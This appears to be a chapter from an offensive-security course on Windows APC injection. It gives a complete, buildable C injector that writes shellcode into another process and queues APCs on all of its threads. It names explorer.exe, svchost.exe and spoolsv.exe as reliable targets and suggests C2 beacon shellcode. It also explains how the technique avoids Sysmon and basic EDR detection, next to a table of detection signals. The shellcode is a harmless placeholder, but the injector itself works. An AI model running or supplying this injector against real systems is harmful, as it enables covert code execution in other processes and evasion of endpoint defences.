APC Injection

How Windows APC Works

  Every Windows thread has its own APC queue:
  ─────────────────────────────────────────────────────────────────────────
  Thread object (in kernel):
    ThreadId: 4892
    State: WAITING (in SleepEx or WaitForSingleObjectEx with bAlertable=TRUE)
    APC Queue: [ function1, arg1 ] → [ function2, arg2 ] → [ empty ]
                ↑ each entry is one queued APC
  
  Normal thread execution:                APC-triggered execution:
  ─────────────────────────               ────────────────────────────────
  Thread runs its normal code             Thread is in alertable wait
  ...                                     → Windows checks APC queue
  ...                                     → Queue not empty!
  ...                                     → Thread is interrupted from wait
                                          → Executes APC function1(arg1)
                                          → Executes APC function2(arg2)
                                          → Queue empty → wait resumes
  
  QueueUserAPC from the injector:
  ─────────────────────────────────────────────────────────────────────────
  QueueUserAPC(
    shellcode_addr,   ← function to call (our shellcode's entry point)
    hThread,          ← which thread to queue it on (in target process)
    NULL              ← argument passed to shellcode_addr
  )
  
  This puts [shellcode_addr, NULL] onto the APC queue of hThread.
  The shellcode doesn't run IMMEDIATELY — it only runs when the thread
  next enters an alertable wait.
  
  Alertable wait functions:
    SleepEx(ms, bAlertable=TRUE)
    WaitForSingleObjectEx(handle, timeout, bAlertable=TRUE)
    WaitForMultipleObjectsEx(...)
    SignalObjectAndWait(...)
    MsgWaitForMultipleObjectsEx(...)
    ReadFileEx, WriteFileEx  (I/O completion — also alertable)
  
  Non-alertable waits (APC does NOT drain):
    Sleep(ms)              ← bAlertable=FALSE — APC stays queued
    WaitForSingleObject()  ← not alertable
    GetMessage()           ← not alertable (use MsgWaitForMultipleObjectsEx)

Finding Alertable Threads

/* apc_inject.c — APC injection into alertable threads
   
   Strategy:
   1. Find a target process with one or more alertable threads
   2. Write shellcode to the target process (VirtualAllocEx + WPM)
   3. QueueUserAPC on each thread in the target (or a selected set)
   4. One of the threads will be in or enter an alertable wait → shellcode runs
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o apc_inject.exe apc_inject.c
*/

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

static unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
static SIZE_T sc_len = sizeof(sc);

/*
 * Which processes reliably have alertable threads?
 * ─────────────────────────────────────────────────────────────────────────
 * explorer.exe — has multiple STA (Single-Threaded Apartment) threads that
 *   use MsgWaitForMultipleObjectsEx with bAlertable, waiting for GUI messages
 *
 * svchost.exe (wuauserv, etc.) — Windows services that use alertable waits
 *   for I/O completion (ReadFileEx, WaitForMultipleObjectsEx)
 *
 * spoolsv.exe — print spooler uses alertable waits extensively
 *
 * Any process with an I/O completion port can have alertable threads
 *
 * General approach: queue APC on ALL threads in the process.
 * At least one of them is likely to become alertable eventually.
 * The shellcode runs once (on the first thread to become alertable).
 * If multiple threads become alertable, shellcode runs multiple times —
 * idempotent shellcode (C2 beacon that checks if already running) is safer.
 */
static BOOL apc_inject(DWORD pid) {
    /* Step 1: Open the target process */
    HANDLE hProc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
        return FALSE;
    }

    /* Step 2: Allocate RW, write shellcode, protect RX */
    LPVOID remote_sc = VirtualAllocEx(hProc, NULL, sc_len,
                                       MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!remote_sc) {
        printf("[-] VirtualAllocEx: %lu\n", GetLastError());
        CloseHandle(hProc);
        return FALSE;
    }
    WriteProcessMemory(hProc, remote_sc, sc, sc_len, NULL);
    DWORD old;
    VirtualProtectEx(hProc, remote_sc, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at %p in target\n", remote_sc);

    /* Step 3: Enumerate all threads of the target process
       We use CreateToolhelp32Snapshot with TH32CS_SNAPTHREAD to list
       all threads system-wide, then filter by ProcessID.
    */
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) {
        CloseHandle(hProc);
        return FALSE;
    }

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    int apc_count = 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID != pid) continue;

            /* Open each thread with THREAD_SET_CONTEXT (required for QueueUserAPC) */
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            if (!hThread) continue;

            /* Queue the APC on this thread */
            if (QueueUserAPC((PAPCFUNC)remote_sc, hThread, (ULONG_PTR)NULL)) {
                printf("[+] APC queued on thread %lu\n", te.th32ThreadID);
                apc_count++;
            } else {
                printf("[-] QueueUserAPC on thread %lu: %lu\n",
                       te.th32ThreadID, GetLastError());
            }
            CloseHandle(hThread);

        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);

    if (apc_count == 0) {
        printf("[-] Failed to queue APC on any thread\n");
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }

    printf("[+] APCs queued on %d threads\n", apc_count);
    printf("[*] Shellcode will execute when a thread enters alertable wait\n");
    printf("[*] If nothing happens in 10s, target has no alertable threads\n");

    /*
     * We can't wait for APC execution with WaitForSingleObject here
     * (we don't have a thread handle that represents "APC completed").
     * Just wait a bit and assume one of the threads will become alertable.
     */
    Sleep(3000);
    CloseHandle(hProc);
    return TRUE;
}

The Reliability Problem

APC injection limitation:
─────────────────────────────────────────────────────────────────────────
APC injection ONLY works if the target thread eventually enters an alertable
wait state. If no thread in the target ever calls SleepEx, WaitForSingleObjectEx
with bAlertable=TRUE, or similar, the APC sits in the queue indefinitely and
never executes. The process continues running normally, the shellcode never fires.

This is why "Early Bird APC" (Chapter 31) is preferred over standard APC injection:
instead of targeting an already-running process (where thread state is unknown),
Early Bird creates a NEW process in SUSPENDED state, queues the APC on the main
thread BEFORE the thread resumes, and then resumes it. The new thread's first
action is to initialize the process — which involves SleepEx and alertable waits
in the CRT and ntdll initialization code. So the APC fires reliably during startup.

Standard APC injection works reliably for:
  ✓ explorer.exe (GUI pump thread is almost always in alertable wait)
  ✓ Services using I/O completion ports (spoolsv.exe, services that do async I/O)
  ✓ Any process calling SleepEx extensively

Standard APC injection is unreliable for:
  ✗ Short-lived processes (may never enter alertable state before exiting)
  ✗ CPU-bound processes (never sleep, never wait)
  ✗ Processes with only non-alertable waits (WaitForSingleObject without Ex suffix)

Detection comparison vs CreateRemoteThread:
─────────────────────────────────────────────────────────────────────────
CreateRemoteThread    → Sysmon EventID 8 (CreateRemoteThread) — highly monitored
QueueUserAPC          → Sysmon EventID 8 NOT generated (it's not a thread creation)
                        No dedicated Sysmon event for APC queuing
                        Detectable by: kernel callbacks (PsSetCreateThreadNotifyRoutine
                        doesn't apply), ETW-TI has thread-APC-related events
  
APC injection is HARDER to detect than CreateRemoteThread at the Sysmon/basic EDR level.
However, modern EDRs with kernel visibility (using ETW-TI or kernel callbacks) can
detect NtQueueApcThread calls to other processes.

Detection Map

  Signal                                    │ Detection layer      │ Fidelity
  ──────────────────────────────────────────┼──────────────────────┼──────────────
  VirtualAllocEx + WriteProcessMemory       │ Sysmon EventID 10    │ HIGH
  (shared with all injection techniques)    │ EDR API hooks        │
                                            │                      │
  No Sysmon EventID 8 (CreateRemoteThread)  │ (absence of signal)  │ N/A
  QueueUserAPC doesn't create thread event  │                      │
                                            │                      │
  NtQueueApcThread syscall                  │ ETW-TI               │ HIGH
  (kernel-level APC queuing)                │ (Defender / CrowdStrike) │
                                            │                      │
  Thread executing shellcode without        │ EDR memory scan      │ MEDIUM
  CreateRemoteThread history                │ (anomalous execution)│
                                            │                      │
  Thread APC callback at non-module address │ ETW stack walk       │ HIGH
  (shellcode address doesn't match any DLL) │                      │
  ──────────────────────────────────────────┴──────────────────────┴──────────────

  APC injection was more stealthy ~2018–2020 when most detection focused
  on CreateRemoteThread. Modern EDRs with ETW-TI coverage have partially
  closed this gap. Early Bird APC (Ch31) is generally preferred because
  it's more reliable AND fires before EDR's injection hooks are active.

Questions & Answers